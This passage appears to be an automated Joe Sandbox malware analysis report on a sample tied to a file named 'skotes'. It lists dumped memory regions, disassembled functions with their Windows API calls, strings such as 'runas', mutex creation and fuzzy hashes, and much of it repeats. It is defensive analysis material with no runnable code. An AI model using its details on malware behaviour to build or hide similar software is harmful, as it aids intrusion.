Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep$CreateThread
String ID: j718$runas
API String ID: 3220764680-161075561
Opcode ID: fdb69d738eb3c0e1f8c93c142cc2e5afb87f9d9fbb33927b166882cfb81b3002
Instruction ID: 1256f72d8daa915b89579c833c15e1a7ed81cf5c90b0531bb88ec6d189428089
Opcode Fuzzy Hash: fdb69d738eb3c0e1f8c93c142cc2e5afb87f9d9fbb33927b166882cfb81b3002
Instruction Fuzzy Hash: 58713470624248EFEB04DF68CC89BAE7BB6EB05304F504619F911673C2CBB5A994CF95

Function 002326F2 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 172
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00246758), ref: 0023275C

Strings

Eastern Standard Time, xrefs: 002327CB
Xg$, xrefs: 00232705, 0023270B
j718, xrefs: 00232858
Eastern Summer Time, xrefs: 002327FA

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time$Xg$$j718
API String ID: 565725191-3950639614
Opcode ID: 3ab34d4e961f2b43d698ca8e30790f2060dd024b013bb17285353a5809f835ca
Instruction ID: b4ccb237f465241a4e8e28f7551711334228f718c2175b7e511728364fbfac0c
Opcode Fuzzy Hash: 3ab34d4e961f2b43d698ca8e30790f2060dd024b013bb17285353a5809f835ca
Instruction Fuzzy Hash: CF512AB1920315EBDB10EF68DC459AEB7BCEF41710F50016AE950E7191E7709E698F60

Function 00226FB4 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00226EE6), ref: 00226FD6
GetFileInformationByHandle.KERNEL32(?,?), ref: 00227030
__dosmaperr.LIBCMT ref: 002270C5

Part of subcall function 0022732A: __dosmaperr.LIBCMT ref: 0022735F

Strings

n", xrefs: 00226FCE
j718, xrefs: 00226FBC

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID: j718$n"
API String ID: 2531987475-767871598
Opcode ID: e6ded70eadd5147592f563dad705b40cb0ac4e138ec10a312f844e548dc8fb1a
Instruction ID: a4e25cd8b71f728c1127ac8c328a00abf43747b3738bf659e48c8ebe73dbd25b
Opcode Fuzzy Hash: e6ded70eadd5147592f563dad705b40cb0ac4e138ec10a312f844e548dc8fb1a
Instruction Fuzzy Hash: DB417F71928215BBDB24EFB5EC419AFB7F9EF89300B10552DF956D3210EA309924CB21

Function 001F7430 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 280COMMON

Download Yara Rule

Strings

j718, xrefs: 001F72C2, 001F7444, 001F75A2, 001F77C4
runas, xrefs: 001F7303

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situExecuteMtx_destroy_in_situShell
String ID: j718$runas
API String ID: 141703535-161075561
Opcode ID: a208565c3982b796b9ce526dbae795999eeefcf66fa0310e5d8cb5b348bd66f7
Instruction ID: 18b0a572741af05d0c07c6bcf9f63e5f8fa0430c3e8f7995ead1904a02bc76dd
Opcode Fuzzy Hash: a208565c3982b796b9ce526dbae795999eeefcf66fa0310e5d8cb5b348bd66f7
Instruction Fuzzy Hash: 8CA18870620348DBDB08DF68DC8ABAD7BB9EB45310F504618F905A73D2CB75A984CF95

Function 001F9BA5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 140sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 001F9BA8
Sleep.KERNEL32(00000064,?), ref: 001FA963
CreateMutexA.KERNEL32(00000000,00000000,00253254), ref: 001FA981

Strings

T2%, xrefs: 001FA970

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2%
API String ID: 396266464-847306568
Opcode ID: 04ce3074862e085087e5a75f2edae4a48168a15734400a99c9ecfcc309f7298d
Instruction ID: bb9410d92aeece51d99f03d3e8f75c527f4498c56fc199d866d852db3ea463d8
Opcode Fuzzy Hash: 04ce3074862e085087e5a75f2edae4a48168a15734400a99c9ecfcc309f7298d
Instruction Fuzzy Hash: FB316D716102088BEB08EBB8ED99B7DB7B2EFC1314F244228E214DB3D6C77959908751

Function 001F9CDA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 139sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 001F9CDD
Sleep.KERNEL32(00000064,?), ref: 001FA963
CreateMutexA.KERNEL32(00000000,00000000,00253254), ref: 001FA981

Strings

T2%, xrefs: 001FA970

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
